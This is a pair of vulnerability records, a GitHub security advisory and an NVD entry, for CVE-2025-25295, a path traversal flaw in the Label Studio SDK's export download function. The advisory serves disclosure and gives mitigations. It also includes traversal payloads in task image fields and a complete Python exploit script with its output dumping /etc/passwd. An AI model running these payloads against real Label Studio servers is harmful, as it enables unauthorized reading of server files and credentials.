{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-26"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-14T15:16:40Z",
    "nvd_published_at": "2025-02-14T17:15:20Z",
    "severity": "HIGH"
  },
  "details": "## Description\nA path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports:\n\n```python\ndef download(\n    url,\n    output_dir,\n    filename=None,\n    project_dir=None,\n    return_relative_path=False,\n    upload_dir=None,\n    download_resources=True,\n):\n    is_local_file = url.startswith(\"/data/\") and \"?d=\" in url\n    is_uploaded_file = url.startswith(\"/data/upload\")\n\n    if is_uploaded_file:\n        upload_dir = _get_upload_dir(project_dir, upload_dir)\n        filename = urllib.parse.unquote(url.replace(\"/data/upload/\", \"\"))\n        filepath = os.path.join(upload_dir, filename)\n        logger.debug(\n            f\"Copy {filepath} to {output_dir}\".format(\n                filepath=filepath, output_dir=output_dir\n            )\n        )\n        if download_resources:\n            shutil.copy(filepath, output_dir)\n        if return_relative_path:\n            return os.path.join(\n                os.path.basename(output_dir), os.path.basename(filename)\n            )\n        return filepath\n\n    if is_local_file:\n        filename, dir_path = url.split(\"/data/\", 1)[-1].split(\"?d=\")\n        dir_path = str(urllib.parse.unquote(dir_path))\n        filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)\n        if not os.path.exists(filepath):\n            raise FileNotFoundError(filepath)\n        if download_resources:\n            shutil.copy(filepath, output_dir)\n        return filepath\n```\n\nBy creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.\n\nNote that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`.\n\n## Steps to Reproduce\n1. Login to Label Studio\n2. Create project with image labeling configuration\n3. If the `data/media/upload` directory doesn\u0027t exists yet, upload an image to force the server to create it\n4. Create task with path traversal in image field\n   \n    4.1. To trigger the `is_uploaded_file` code path:\n   ```json\n   {\n     \"data\": {\n       \"text\": \"test\",\n       \"image\": \"/data/upload/../../../../../etc/passwd\"\n     }\n   }\n   ```\n    4.2. To trigger the `is_local_file` code path:\n   ```json\n   {\n     \"data\": {\n       \"text\": \"test\",\n       \"image\": \"/data/local-files/?d=../../../etc/passwd\"\n     }\n   }\n   ```\n6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:\n   ```\n   GET /api/projects/1/export?exportType=VOC\u0026download_all_tasks=true\u0026download_resources=true\n   ```\n7. Download the generated Zip file. The server\u0027s /etc/passwd file will be at `images/passwd` on the Zip file.\n\n\nAlternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats:\n\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nimport io\nimport zipfile\n\n\nBASE_URL = \"http://xbow-app-1:8000\"\nUSERNAME = \"test@test.com\"\nPASSWORD = \"Test123!@#\"\nMETHOD = \"is_uploaded_file\" # Valid values: \"is_uploaded_file\" or \"is_local_file\"\nEXPORT_TYPE = \"VOC\"         # Valid values: \"VOC\", \"COCO\" or \"YOLO\"\n\nprint(\"Signing up...\")\nurl = \"%s/user/signup/\" % BASE_URL\nsession = requests.Session()\n\n# First get the CSRF token\nresponse = session.get(url)\nsoup = BeautifulSoup(response.text, \u0027html.parser\u0027)\ncsrf_token = soup.find(\u0027input\u0027, {\u0027name\u0027: \u0027csrfmiddlewaretoken\u0027})[\u0027value\u0027]\nprint(f\"Got CSRF token: {csrf_token}\")\n\n# Prepare registration data\ndata = {\n    \u0027csrfmiddlewaretoken\u0027: csrf_token,\n    \u0027email\u0027: USERNAME,\n    \u0027password\u0027: PASSWORD,\n    \u0027allow_newsletters\u0027: \u0027false\u0027,\n    \u0027allow_newsletters_visual\u0027: \u0027false\u0027\n}\n\nheaders = {\n    \u0027Referer\u0027: url,\n    \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n}\n\n# Submit the registration request\nresponse = session.post(url, data=data, headers=headers)\nprint(f\"User registration response status code: {response.status_code}\\n\")\n\n# Login\nprint(\"Logging in...\")\nurl = \"%s/user/login\" % BASE_URL\n\n# Attempt login with our credentials\nlogin_data = {\n    \u0027csrfmiddlewaretoken\u0027: csrf_token,\n    \u0027email\u0027: USERNAME,\n    \u0027password\u0027: PASSWORD,\n}\n\nheaders = {\n    \u0027Referer\u0027: url,\n    \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n}\n\nresponse = session.post(url, data=login_data, headers=headers)\n\nprint(f\"Login response status code: {response.status_code}\")\n\n# Check if we got any tokens in the response\nprint(\"\\nCookies after login:\")\nfor cookie in session.cookies:\n    print(f\"{cookie.name}: {cookie.value}\")\n\n\n# We will use these headers moving forward\nheaders = {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n    \u0027X-CSRFToken\u0027: session.cookies[\u0027csrftoken\u0027]\n}\n\n# Creat a project to then create a task associated to it\nprint(\"\\nCreating project...\")\n# Try to create a project with a file upload configuration\nproject_data = {\n    \"title\": \"File Upload Test\",\n    \"description\": \"Testing file upload functionality\",\n    \"label_config\": \"\"\"\n    \u003cView\u003e\n      \u003cImage name=\"image\" value=\"$image\"/\u003e\n      \u003cText name=\"text\" value=\"$text\"/\u003e\n      \u003cChoices name=\"choice\" toName=\"image\"\u003e\n        \u003cChoice value=\"yes\"/\u003e\n        \u003cChoice value=\"no\"/\u003e\n      \u003c/Choices\u003e\n    \u003c/View\u003e\n    \"\"\"\n}\nresponse = session.post(\"%s/api/projects/\" % BASE_URL, json=project_data, headers=headers)\nif response.status_code != 201:\n    print(\"Problem creating project, aborting\")\n    exit(0)    \nproject_id = response.json()[\u0027id\u0027]\nprint(f\"Project ID: {project_id}\\n\")\n\n# Create task using a filename to later abuse a path traversal vulnerability during file export\nprint(f\"Creating task with method {METHOD} (defaults to is_local_file)...\")\ntask_data = {}\nif (METHOD == \"is_uploaded_file\"):\n    task_data[\"data\"] = {\n            \"text\": \"test\",\n            \"image\": \"/data/upload/../../../../../etc/passwd\"    # Trigger for is_uploaded_file\n    }\nelse:\n    task_data[\"data\"] = {\n            \"text\": \"test\",\n            \"image\": \"/data/local-files/?d=../../../etc/passwd\" # Trigger for is_local_file\n    }\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/tasks\", json=task_data, headers=headers)\nif response.status_code != 201:\n    print(\"Problem creating task, aborting\")\n    exit(0)    \ntask_id = response.json()[\u0027id\u0027]\nprint(f\"Task created successfully, task id: {task_id}\\n\")\n\n# Issue a dummy upload request to force the creation of the ~/data/images/upload folder\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false\", files={\"bar.png\":\"data\"})\n\n# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)\nresponse = session.get(f\"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}\u0026download_all_tasks=true\u0026download_resources=true\")\nif (response.status_code != 200):\n    print(\"Couldn\u0027t fetch export file\")\n    exit(0)\n\nfile_like_object = io.BytesIO(response.content)\nzipfile_ob = zipfile.ZipFile(file_like_object)\nprint(\"Dumping /etc/passwd file contents:\")\nprint(zipfile_ob.read(\"images/passwd\").decode(\"utf-8\"))\n\n```\n\nOutput:\n\n```\n$ python3 studio-min.py\nSigning up...\nGot CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6\nUser registration response status code: 200\n\nLogging in...\nLogin response status code: 200\n\nCookies after login:\ncsrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33\nsessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30\n\nCreating project...\nProject ID: 10\n\nCreating task with method is_uploaded_file (defaults to is_local_file)...\nTask created successfully, task id: 10\n\nDumping /etc/passwd file contents:\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nnginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin\n```\n\n## Mitigations\n- Validate and sanitize file paths\n- Add an allowlist of directories and file types\n- Implement file access controls\n- Use randomized file names and secure file storage abstraction\n\n## Impact\nAuthentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.",
  "id": "GHSA-rgv9-w7jp-m23g",
  "modified": "2025-02-14T18:40:06Z",
  "published": "2025-02-14T15:16:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25295"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Label Studio has a Path Traversal Vulnerability via image Field"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Label Studio is an open source data labeling tool. A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. The flaw exists in the VOC, COCO and YOLO export functionalities. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports. By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. This is authentication-required vulnerability allowing arbitrary file reads from the server filesystem. It may lead to potential exposure of sensitive information like configuration files, credentials, and confidential data. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it."
    },
    {
      "lang": "es",
      "value": "Label Studio es una herramienta de etiquetado de datos de c\u00f3digo abierto. Una vulnerabilidad de path traversal en las versiones del SDK de Label Studio anteriores a la 1.0.10 permite el acceso no autorizado a archivos fuera de la estructura de directorio prevista. La falla existe en las funcionalidades de exportaci\u00f3n de VOC, COCO y YOLO. Estas funciones invocan una funci\u00f3n de `descarga` en el paquete de Python `label-studio-sdk`, que no puede validar las rutas de archivo al procesar referencias de im\u00e1genes durante las exportaciones de tareas. Al crear tareas con secuencias de path traversal en el campo de imagen, un atacante puede obligar a la aplicaci\u00f3n a leer archivos de ubicaciones arbitrarias del sistema de archivos del servidor al exportar proyectos en cualquiera de los formatos mencionados. Esta es una vulnerabilidad que requiere autenticaci\u00f3n que permite lecturas arbitrarias de archivos del sistema de archivos del servidor. Puede conducir a la posible exposici\u00f3n de informaci\u00f3n confidencial como archivos de configuraci\u00f3n, credenciales y datos confidenciales. Las versiones de Label Studio anteriores a la 1.16.0 especificaban versiones del SDK anteriores a la 1.0.10 como dependencias, y el problema se confirm\u00f3 en la versi\u00f3n 1.13.2.dev0 de Label Studio; Por lo tanto, los usuarios de Label Studio deben actualizar a la versi\u00f3n 1.16.0 o m\u00e1s reciente para mitigarlo."
    }
  ],
  "id": "CVE-2025-25295",
  "lastModified": "2025-02-14T17:15:20.230",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-02-14T17:15:20.230",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-26"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}